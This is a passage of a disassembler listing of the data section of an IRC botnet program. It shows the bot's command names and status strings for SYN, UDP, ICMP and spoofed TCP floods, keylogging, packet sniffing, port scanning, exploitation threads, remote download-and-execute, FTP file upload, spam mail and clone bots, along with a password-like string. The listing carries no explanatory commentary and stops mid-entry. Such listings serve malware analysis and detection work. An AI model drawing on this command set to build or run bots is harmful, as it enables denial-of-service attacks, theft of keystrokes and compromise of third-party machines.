aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h ; char dword_435830 dword_435830 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+40E2o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 ; char aRepeat[] aRepeat db 'repeat',0 ; DATA XREF: sub_40EE51+4091o align 10h dword_435860 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_412E9Ao dd 2BBBB02h, 65442020h, 2E79616Ch, 0 ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40EE51+4009o ; sub_40EE51+40BCo ... align 4 unk_435894 db 2 ; DATA XREF: sub_40EE51:loc_412E09o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4358E8 db 2 ; DATA XREF: sub_40EE51+3FAEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 ; char unk_435934 unk_435934 db 2 ; DATA XREF: sub_40EE51+3F3Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE51+3E99o align 4 dword_43597C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE51+3E3Ao dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_4359A4 db 2 ; DATA XREF: sub_40EE51+3E2Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4359D8 db 2 ; DATA XREF: sub_40EE51+3DA7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 ; char unk_435A24 unk_435A24 db 2 ; DATA XREF: sub_40EE51+3D2Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_435A64 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE51:loc_412AE0o ; sub_40EE51:loc_41391Co dd 0BBBB0220h, 2002h ; char unk_435A80 unk_435A80 db 2 ; DATA XREF: sub_40EE51+3C7Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_435AB4 db 2 ; DATA XREF: sub_40EE51:loc_412AA9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_435AFC db 2 ; DATA XREF: sub_40EE51+3C4Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 ; char unk_435B44 unk_435B44 db 2 ; DATA XREF: sub_40EE51+3BD4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 10h unk_435B80 db 2 ; DATA XREF: sub_40EE51+3B5Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 ; char unk_435BC8 unk_435BC8 db 2 ; DATA XREF: sub_40EE51+3AEEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 ; char unk_435C08 unk_435C08 db 2 ; DATA XREF: sub_40EE51+3A66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 10h ; char unk_435C50 unk_435C50 db 2 ; DATA XREF: sub_40EE51+39EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 10h ; char dword_435C90 dword_435C90 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+3959o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 ; char dword_435CD8 dword_435CD8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+38DFo dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_435D14 db 2 ; DATA XREF: sub_40EE51+386Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 ; char unk_435D64 unk_435D64 db 2 ; DATA XREF: sub_40EE51+3800o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_435DA0 db 2 ; DATA XREF: sub_40EE51+3731o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 ; char unk_435DF4 unk_435DF4 db 2 ; DATA XREF: sub_40EE51+36C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_435E40 db 2 ; DATA XREF: sub_40EE51+3637o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 4 ; char unk_435E8C unk_435E8C db 2 ; DATA XREF: sub_40EE51+35C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE51+3544o align 4 ; char aSSS_1[] aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE51+3447o align 4 ; char dword_435EF8 dword_435EF8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE51+33B9o ; sub_40EE51+43E9o ; char unk_435F04 unk_435F04 db 2 ; DATA XREF: sub_40EE51+335Ao ; sub_40EE51+5162o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 4 ; char unk_435F4C unk_435F4C db 2 ; DATA XREF: sub_40EE51+32EBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE51+32C0o ; sub_40EE51+50C6o align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE51+32B9o ; sub_40EE51+50BFo align 10h unk_435FD0 db 2 ; DATA XREF: sub_40EE51+317Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 ; char unk_436014 unk_436014 db 2 ; DATA XREF: sub_40EE51+3032o ; sub_40EE51+4F0Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_436060 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+3001o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 ; char dword_4360A8 dword_4360A8 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2F92o dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h ; char aIcmp_dllNotAva[] aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE51+2EBDo align 4 unk_436118 db 2 ; DATA XREF: sub_40EE51+2EA8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 10h ; char unk_436160 unk_436160 db 2 ; DATA XREF: sub_40EE51+2E3Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_4361B8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_411BF1o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_436200 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2D96o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 ; char dword_436248 dword_436248 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2D1Co dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40EE51+2D0Co align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE51+2D05o dword_43629C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2C70o dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 ; char dword_4362D4 dword_4362D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_4119D9o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_436310 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2B81o dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE51+2B6Ao ; char aSS_5[] aSS_5 db '-s:%s',0 ; DATA XREF: sub_40EE51+2B53o align 4 ; char aOpenSSSSPutSBy[] aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE51+2B33o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 ; char aSIII_dll[] aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE51+2AFEo align 4 dword_436388 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2AB4o dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 ; char aFtp_upload[] aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE51+2A91o align 4 ; char aUtil_hcon[] aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE51+2A6Eo align 10h ; char aUtil_httpcon[] aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE51+2A57o align 10h ; char unk_4363E0 unk_4363E0 db 3 ; DATA XREF: sub_40EE51+2A3Bo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 10h ; char aHeloRndnickMai[] aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE51+29C7o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 ; char a__0[] a__0: ; DATA XREF: sub_40EE51+292Bo unicode 0, <_>,0 ; char aUtil_email[] aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE51+28DCo align 4 ; char aDdos_tcpf[] aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE51+28C5o align 4 ; char aDdos_tcpflood[] aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE51+28AEo align 4 ; char aP_0[] aP_0 db 'p',0 ; DATA XREF: sub_40EE51+2897o align 4 ; char aDdos_pingf[] aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE51+2880o align 4 ; char aDdos_pingflood[] aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE51+2869o align 4 ; char aU_0[] aU_0 db 'u',0 ; DATA XREF: sub_40EE51+2852o align 4 ; char aDdos_udpf[] aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE51+283Bo align 4 ; char aDdos_udpflood[] aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE51+2824o align 4 ; char aRoot_s[] aRoot_s db 'root.s',0 ; DATA XREF: sub_40EE51+280Do align 10h ; char aRoot_start[] aRoot_start db 'root.start',0 ; DATA XREF: sub_40EE51+27F6o align 4 ; char aClone_ac[] aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE51+27CDo align 4 ; char aClone_action[] aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE51+27B6o align 4 ; char aClone_pm[] aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE51+279Fo align 4 ; char aClone_privmsg[] aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE51+2788o align 4 ; char aRoot_ps[] aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE51+2771o ; char aRoot_portscan[] aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE51+275Ao align 4 ; char aDaemon_rd[] aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE51+2743o align 4 ; char aDaemon_redirec[] aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE51+272Co ; char aVSt4wN[] aVSt4wN db 'v!st4w!n',0 ; DATA XREF: sub_40EE51+2715o align 4 ; char aVSt4w1n[] aVSt4w1n db 'v!st4w1n',0 ; DATA XREF: sub_40EE51+26FEo align 10h ; char aDdos_synf[] aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE51+26E7o align 4 ; char aDdos_synflood[] aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE51+26D0o align 4 ; char aClone_start[] aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE51+2674o ; char aClone_make[] aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE51+265Do align 4 ; char aDdos_ic[] aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE51+2634o ; char aDdos_icmp[] aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE51+261Do align 4 ; char aCom_mv[] aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE51+2606o align 10h ; char aCom_rename[] aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE51+25EFo align 4 ; char aFf[] aFf db 'ff',0 ; DATA XREF: sub_40EE51+25D8o align 10h ; char aFindfile[] aFindfile db 'findfile',0 ; DATA XREF: sub_40EE51+25C1o align 4 ; char aCom_e[] aCom_e db 'com.e',0 ; DATA XREF: sub_40EE51+25AAo align 4 ; char aCom_execute[] aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE51+2593o ; char aUp50[] aUp50 db 'up50',0 ; DATA XREF: sub_40EE51+2565o ; sub_40EE51+257Co align 4 ; char aIrc_de[] aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE51+254Eo align 10h ; char aIrc_delay[] aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE51+2537o align 4 ; char aIrc_rp[] aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE51+2520o align 4 ; char aIrc_repeat[] aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE51+2509o align 10h ; char aClone_p[] aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE51+24F2o ; char aClone_part[] aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE51+24DBo align 4 ; char aClone_j[] aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE51+24C4o ; char aClone_join[] aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE51+24ADo align 4 ; char aClone_ni[] aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE51+2496o align 4 ; char aClone_nick[] aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE51+247Fo align 10h ; char aClone_m[] aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE51+2468o ; char aClone_mode[] aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE51+2451o align 4 ; char aClone_ra[] aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE51+243Ao align 10h ; char aClone_raw[] aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE51+2423o align 4 ; char aIrc_m[] aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE51+240Co align 4 ; char aIrc_mode[] aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE51+23F5o align 10h ; char aIrc_cy[] aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE51+23DEo align 4 ; char aIrc_cycle[] aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE51+23C7o align 4 ; char aIrc_ac[] aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE51+23B0o align 4 ; char aIrc_action[] aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE51+2399o align 4 ; char aIrc_pm[] aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE51+2382o align 10h ; char aIrc_privmsg[] aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE51+236Bo ; char aIrc_aa[] aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE51+2354o align 4 ; char aIrc_addalias[] aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE51+233Do align 4 ; char aIrc_gh[] aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE51+2314o align 4 ; char aIrc_gethost[] aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE51+22FDo ; char aCom_cap[] aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE51+22E6o ; char aCom_capture[] aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE51+22CFo ; char dword_43671C dword_43671C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_4110D2o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_436748 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_4110CBo dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_436778 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_411083o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4367A4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+222Bo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 ; char aUser[] aUser db 'user',0 ; DATA XREF: sub_40EE51+219Eo align 4 dword_4367DC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_410FE4o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_43680C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2189o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 ; char aShare[] aShare db 'share',0 ; DATA XREF: sub_40EE51+2121o align 4 ; char aDelete[] aDelete db 'delete',0 ; DATA XREF: sub_40EE51+2106o align 4 ; char aPause[] aPause db 'pause',0 ; DATA XREF: sub_40EE51+20D3o align 4 ; char aStop[] aStop db 'stop',0 ; DATA XREF: sub_40EE51+20BBo align 4 dword_43685C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_410F01o dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_43688C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+20A6o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h dword_4368C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+2022o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 ; char aCom_net[] aCom_net db 'com.net',0 ; DATA XREF: sub_40EE51+1FFEo ; char unk_436910 unk_436910 db 2 ; DATA XREF: sub_40EE51+1FBDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 ; char unk_43695C unk_43695C db 2 ; DATA XREF: sub_40EE51+1F52o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_43698C db 2 ; DATA XREF: sub_40EE51+1ED4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 ; char unk_4369BC unk_4369BC db 2 ; DATA XREF: sub_40EE51:loc_410D01o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_4369F8 db 2 ; DATA XREF: sub_40EE51+1EA6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 ; char aCom_keylog[] aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE51+1E4Co align 10h unk_436A50 db 2 ; DATA XREF: sub_40EE51:loc_410C93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_436A88 db 2 ; DATA XREF: sub_40EE51+1E38o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 